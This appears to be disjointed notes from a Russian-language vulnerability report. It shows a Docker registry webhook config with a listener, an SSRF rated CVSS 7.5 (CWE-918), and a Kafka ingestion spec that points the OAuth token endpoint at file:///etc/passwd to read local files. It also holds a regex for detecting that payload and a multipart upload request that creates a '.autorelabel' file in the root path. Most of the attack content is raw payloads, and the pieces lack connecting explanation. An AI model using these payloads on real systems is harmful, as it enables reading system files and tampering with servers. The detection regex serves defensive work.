/etc/docker/registry/config.yml

  endpoints:             # Список endpoint'ов для отправки уведомлений
    - name: alistener    # Произвольное имя endpoint'а (для идентификации в логах)
      url: https://10.244.0.1:6666  # URL получателя уведомлений (должен поддерживать HTTPS POST)
      timeout: 500ms     # Максимальное время ожидания ответа от endpoint'а
      threshold: 5       # Максимальное количество попыток отправки уведомления
      backoff: 1s        # Пауза между повторными попытками отправки

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("New event:", post_data.decode())
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 6666), Handler).serve_forever()

"events": [
      {
         "id": "92373dbb-a1b3-420e-9008-83b93362cbcb",
         "timestamp": "2025-05-20T10:08:19.010407248Z",
         "action": "pull",
         "target": {
            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
            "size": 1778,
            "digest": "sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
            "length": 1778,
            "repository": "nginx",
            "url": "https://docker-registry:5000/v2/nginx/manifests/sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
            "tag": "v1"
         },
         "request": {
            "id": "7ab6ff81-3187-44ce-aa0f-4d0e7d77071f",
            "addr": "10.244.0.1:27862",
            "host": "docker-registry:5000",
            "method": "HEAD",
            "useragent": "curl/8.5.0"
         },
         "actor": {
            "name": "admin"
         },
         "source": {
            "addr": "docker-registry-pod:5000",
            "instanceID": "9419304c-421c-4837-ae87-d5c9ab9be670"
         }
      }
   ]
}

Base core: 7,5 (High)
CWE: CWE 918

{
  "type": "kafka",
  "spec": {
    "type": "kafka",
    "ioConfig": {
      "type": "kafka",
      "consumerProperties": {
        "bootstrap.servers": "127.0.0.1:1337",
        "sasl.mechanism": "OAUTHBEARER",
        "security.protocol": "SASL_SSL",
        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
        "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
      },
      "topic": "xx",
      "useEarliestOffset": true
 
    },
    "dataSchema": {
      "dataSource": "test"
    }
  }
}

\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"

Метрики на сегодняшний момент в NIST не опубликованы.

-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="fileName"

.autorelabel
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="currentPath"

/
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="recursive"


-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="t_total"

600
-----------------------------3849265187757317862020143986—

Панель пользователя не версионируется во время процесса установки, т.е отрицать возможной эксплуатации мы не можем. Но можем точно сказать, что эксплуатация происходит идентично, за исключением того, что пользователь admin меняется на другого пользователя.